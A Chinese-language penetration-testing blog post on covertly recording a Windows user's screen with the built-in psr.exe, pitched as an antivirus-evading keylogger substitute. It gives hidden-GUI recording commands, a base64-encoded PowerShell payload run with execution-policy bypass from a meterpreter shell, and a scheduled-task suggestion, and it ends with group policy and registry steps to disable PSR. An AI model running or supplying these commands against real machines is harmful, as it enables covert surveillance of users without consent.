Windows 环境下使用 psr.exe 录制屏幕 — Malware 的一种实践

前言

PSR(Problem Steps Recorder, psr.exe),直译为”问题步骤记录器”,在 Windows 早期的系统中,采用WER(Windows Error Reporting)来收集系统的错误报告,但这些报告往往包含的信息太少以致于无法解决实际问题。

为此,微软从 Windows 7 系统开始,增加了 PSR 来解决这个问题,PSR 能够记录用户在遇到崩溃时执行的所有操作,以便测试人员和开发人员能够重现环境对其分析和调试。

当 PSR 运行时,将会自动记录屏幕的操作,每次操作都会自动保存成一张图片,最终生成一份zip格式的报告。

简而言之,PSR 会捕捉活动窗口,并记录成 zip 文件,在 zip 文件中则是 mht 文件。 mht 文件需要用 Internet Explorer 打开,在我的测试环境下似乎用 Edge 也不行。它的 优势 是,因为属于 Windows 系统的自带软件,所以一定程度上不用考虑免杀(Bypass Antivirus)问题,相当于一个自带的 keylogger 。

参考资料

【Evernote】渗透技巧——如何巧妙利用PSR监控Windows桌面 (3gstudent)
http://www.aizhuanji.com/a/gx1M3eKx.html

【Evernote】巧妙利用win自带的 PSR 实现监控Windows桌面
http://rcoil.me/2017/09/%E5%B7%A7%E5%A6%99%E5%88%A9%E7%94%A8win%E8%87%AA%E5%B8%A6%E7%9A%84-PSR-%E5%AE%9E%E7%8E%B0%E7%9B%91%E6%8E%A7Windows%E6%A1%8C%E9%9D%A2/

https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/

https://msdn.microsoft.com/en-us/library/windows/desktop/dd371782(v=vs.85).aspx

https://blogs.msdn.microsoft.com/cjacks/2009/02/25/deciphering-the-command-line-configuration-of-the-windows-7-problem-steps-recorder/

https://technet.microsoft.com/en-us/magazine/dd464813.aspx

http://blogs.msdn.com/b/wer/archive/2009/03/30/problem-steps-recorder-psr-exe-windows-error-reporting-another-tool-to-help-find-solutions-to-software-defects.aspx

http://blogs.technet.com/b/mspfe/archive/2013/03/22/uncovering-a-hidden-gem-psr-exe.aspx

http://www.sevenforums.com/tutorials/139779-problem-steps-recorder-enable-disable.html

进阶使用案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]
/start 开始录制,需要指定文件保存路径
/stop 停止录制
/sc 捕捉记录步骤的截图,0|1
/maxsc 最大的截图数量
/maxlogsize 最大日志文件大小(MB)
/gui 是否显示psr的界面,0|1
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output 保存的输出路径
/stopevent Event to signal after output files are generated.

简单的使用案例

cmd调用示例

1
2
3
# DEMO 1
psr.exe /start /output D:/out.zip /sc 1 /gui 0
psr.exe /stop

一个 Powershell 的案例

1
2
3
4
5
6
# 后台启动 psr 并开始录制,文件保存为 C:\windows\temp\capture.zip
psr.exe /start /gui 0 /output C:\windows\temp\capture.zip
# 等待10s,即录制时间为10s
Start-Sleep -s 10;
# 结束录制,退出
psr.exe /stop;

可將以上代碼保存為 C:\test\1.txt,然后對其作base64加密 (encode)

1
2
3
4
$string=Get-Content "C:\test\1.txt"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded

之后可以在 meterpreter shell 下直接执行

1
powershell -ep bypass -enc cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA

防御 (建立Windows主机安全基线)

Local Group Policy Editor >

Computer Configuration >

Administrative Templates >

Windows Components >

Application Compatiblity >

Turn off Problem Steps Recorder

细节说明

可采用以下兩種方法關閉psr:

1、使用組策略

中文系統:
gpedit.msc - 管理模板 - Windows組件 - 應用程式兼容性
啟用關閉問題步驟記錄器

英文系統:
gpedit.msc - Computer Configuration - Administrative Templates - Windows Components - Application Compatibility
啟用Turn off Problem Steps Recorder

2、修改注冊表

1 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]
新建”DisableUAR”=dword:00000001

注:
dword=1對應組策略中的已啟用
dword=0對應組策略中的已禁用
刪除”DisableUAR”對應組策略中的未配置

小结

利用 PSR 监控 Windows 桌面,不仅仅能够捕获用户桌面的操作,而且在报告中会包含更多有用的细节信息,相信你在渗透测试的过程中, bat + 定时任务(task scheduler),一定会用上它。